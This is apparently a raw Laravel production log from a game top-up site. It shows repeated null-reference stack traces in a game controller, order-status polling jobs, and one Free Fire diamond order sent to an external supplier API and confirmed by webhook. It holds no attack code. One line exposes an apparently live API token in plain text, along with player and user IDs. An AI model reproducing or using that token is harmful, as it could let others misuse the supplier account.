#38 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#39 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#40 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#41 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#42 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#43 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#44 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#45 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#46 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#47 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#48 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#49 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#50 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#51 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#52 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#53 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#54 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#55 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#56 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#57 {main}
"} 
[2026-03-24 10:51:59] production.INFO: Constructing job for order: 178560  
[2026-03-24 10:52:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"VXcWxj0uc5RWTnfUgtLUypt6TwJQYbhx","execution_time":"2026-03-24 10:52:02"} 
[2026-03-24 10:52:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"VXcWxj0uc5RWTnfUgtLUypt6TwJQYbhx","execution_time":"2026-03-24 10:52:02","total_operations":1,"sites_count":1} 
[2026-03-24 10:52:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"VXcWxj0uc5RWTnfUgtLUypt6TwJQYbhx","execution_time":"2026-03-24 10:52:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:52:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"VXcWxj0uc5RWTnfUgtLUypt6TwJQYbhx","execution_time":"2026-03-24 10:52:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:52:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"VXcWxj0uc5RWTnfUgtLUypt6TwJQYbhx","execution_time":"2026-03-24 10:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 10:52:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"VXcWxj0uc5RWTnfUgtLUypt6TwJQYbhx","execution_time":"2026-03-24 10:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:52:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"VXcWxj0uc5RWTnfUgtLUypt6TwJQYbhx","execution_time":"2026-03-24 10:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:52:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"VXcWxj0uc5RWTnfUgtLUypt6TwJQYbhx","execution_time":"2026-03-24 10:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:52:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"VXcWxj0uc5RWTnfUgtLUypt6TwJQYbhx","execution_time":"2026-03-24 10:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:52:02] production.INFO: Handling job for order: 178560  
[2026-03-24 10:52:02] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 10:52:02] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 10:52:02] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=885c6c23-9511-4a0f-a4ad-d8b4a0b603f2&Player_ID=14841494773  
[2026-03-24 10:52:02] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=885c6c23-9511-4a0f-a4ad-d8b4a0b603f2&Player_ID=14841494773","has_body":false} 
[2026-03-24 10:52:03] production.INFO: Operation sent successfully {"operation_id":163491,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-2dGJ-1774338723","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 10:52:03"}},"processed_data":{"order_number":"ORD-2dGJ-1774338723","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 10:52:32] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-2dGJ-1774338723","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 10:52:32] production.INFO: Processed webhook data (normalized) {"id":"ORD-2dGJ-1774338723","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 10:52:32] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 10:52:32] production.INFO: SendAcceptReject: Notification queued {"user_id":366,"notification_type":"order_approved","reference_id":178560} 
[2026-03-24 10:52:32] production.INFO: Order updated successfully. Order ID: 178560, Status: completed  
[2026-03-24 10:52:32] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-2dGJ-1774338723","status":"completed","codes_count":0} 
[2026-03-24 10:52:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 10:54:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"wCW9Odu2pBCLUimVURUO9Wq9Teib29fT","execution_time":"2026-03-24 10:54:03"} 
[2026-03-24 10:54:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"wCW9Odu2pBCLUimVURUO9Wq9Teib29fT","execution_time":"2026-03-24 10:54:03","total_operations":1,"sites_count":1} 
[2026-03-24 10:54:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"wCW9Odu2pBCLUimVURUO9Wq9Teib29fT","execution_time":"2026-03-24 10:54:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:54:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"wCW9Odu2pBCLUimVURUO9Wq9Teib29fT","execution_time":"2026-03-24 10:54:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:54:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"wCW9Odu2pBCLUimVURUO9Wq9Teib29fT","execution_time":"2026-03-24 10:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 10:54:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"wCW9Odu2pBCLUimVURUO9Wq9Teib29fT","execution_time":"2026-03-24 10:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:54:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"wCW9Odu2pBCLUimVURUO9Wq9Teib29fT","execution_time":"2026-03-24 10:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:54:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"wCW9Odu2pBCLUimVURUO9Wq9Teib29fT","execution_time":"2026-03-24 10:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:54:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"wCW9Odu2pBCLUimVURUO9Wq9Teib29fT","execution_time":"2026-03-24 10:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:54:03] production.ERROR: Call to a member function where() on null {"userId":1770,"exception":"[object] (Error(code: 0): Call to a member function where() on null at /home/talaah/public_html/app/Http/Controllers/Front/GameController.php:51)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Controller.php(54): App\\Http\\Controllers\\Front\\GameController->products('x')
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(43): Illuminate\\Routing\\Controller->callAction('products', Array)
#2 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch(Object(Illuminate\\Routing\\Route), Object(App\\Http\\Controllers\\Front\\GameController), 'products')
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}(Object(Illuminate\\Http\\Request))
#6 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(72): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#8 /home/talaah/public_html/app/Http/Middleware/RequirePinVerification.php(172): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\RequirePinVerification->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#10 /home/talaah/public_html/app/Http/Middleware/TrackSessionActivity.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\TrackSessionActivity->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest(Object(Illuminate\\Http\\Request), Object(Illuminate\\Session\\Store), Object(Closure))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#37 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#38 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#39 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#40 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#41 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#42 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#43 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#44 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#45 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#46 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#47 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#48 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#49 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#50 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#51 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#52 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#53 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#54 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#55 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#56 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#57 {main}
"} 
[2026-03-24 10:54:08] production.ERROR: Call to a member function where() on null {"userId":1770,"exception":"[object] (Error(code: 0): Call to a member function where() on null at /home/talaah/public_html/app/Http/Controllers/Front/GameController.php:51)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Controller.php(54): App\\Http\\Controllers\\Front\\GameController->products('x')
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(43): Illuminate\\Routing\\Controller->callAction('products', Array)
#2 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch(Object(Illuminate\\Routing\\Route), Object(App\\Http\\Controllers\\Front\\GameController), 'products')
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}(Object(Illuminate\\Http\\Request))
#6 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(72): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#8 /home/talaah/public_html/app/Http/Middleware/RequirePinVerification.php(172): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\RequirePinVerification->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#10 /home/talaah/public_html/app/Http/Middleware/TrackSessionActivity.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\TrackSessionActivity->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest(Object(Illuminate\\Http\\Request), Object(Illuminate\\Session\\Store), Object(Closure))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
